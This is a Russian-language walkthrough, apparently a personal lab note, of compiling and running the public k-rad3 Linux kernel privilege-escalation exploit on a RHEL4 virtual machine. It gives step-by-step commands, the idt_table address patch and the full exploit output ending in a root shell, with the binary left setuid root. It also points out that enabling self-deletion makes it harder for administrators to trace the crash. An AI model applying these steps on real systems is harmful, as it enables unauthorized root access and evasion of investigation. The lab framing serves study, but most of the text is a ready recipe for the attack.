Для тестирования эксплоита k-rad3.c я установил на виртуальную машину VMWare RHEL4.
После командами
groupadd oinstall
groupadd dba #создал 2 группы
useradd -g oinstall -G dba oracle #добавил пользователя
passwd oracle #назначил ему пароль.
Далее сохраняем станицу http://www.milw0rm.com/exploits/1397 в файл k-rad3.c в домашнем каталоге /home/oracle.
Если внимательно прочесть комментарии, то можно увидеть, что:
if OS in vmware , idtr.base is not right, please fix it
* [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
* c0461000 D idt_table
В моем случае, с зашел в каталог /boot, затем
[oracle@RHEL4 boot]$ ls System*
System.map-2.6.9-5.EL
cat /boot/System.map-2.6.9-5.EL|grep idt_table
c03cc000 D idt_table
Теперь перед строкой
printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
нужно раскомментировать и прописать строку idtr.base = 0xc03cc000;
После этого сохраняем изменения в файле k-rad3.c и компилируем его с опциями:
gcc -o k-rad3 k-rad3.c -static -O2
k-rad3.c:730:28: warning: no newline at end of file
и в домашнем каталоге появляется исполняемый файл k-rad3.
-rwxr-xr-x 1 oracle oinstall 464146 Jan 4 18:38 k-rad3
Если запустить без указания параметров, то
[oracle@RHEL4 ~]$ ./k-rad3
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd
[ Modified 2005/9 by alert7
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff2dda0,num 4100
[+] idt[0x7f] addr 0xffc003f8
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
и рута мы не получим. Еще раз обращаемся к комментариям:
и запускаем с параметром ./k-rad3 -p 2
[oracle@RHEL4 ~]$ ./k-rad3 -p 2
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd
[ Modified 2005/9 by alert7
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff9ea80,num 8196
[+] idt[0x7f] addr 0xffc003f8
[+] j00 1u(k7 k1d!
[root@k-rad3 oracle]# id
uid=0(root) gid=0(root) groups=500(oinstall),501(dba)
После того как получили рута, проверяем права на файл и видим, что
-rwsr-sr-x 1 root oinstall 464146 Jan 4 18:38 k-rad3
Необходимые условия для того чтобы сплойт сработал:
- ядро уязвимой версии;
- карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает).
примечание:
/* unlink(argv[0]); */
// sync();
в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.
Описание работы сполйта (очень примерное):
- проверяет на то, запустились ли мы благодаря suid'ному биту из под рута;
- если да, то изменяет UID и GID владельца процесса на 0 и запускает shell;
- используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f;
- вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута;
Запускает шелл, он запускается с uid=0 и gid=0.
Часть информации было взято с сайта - http://www.hackerdom.ru/Seminar/20072008/LinuxKernelExploits.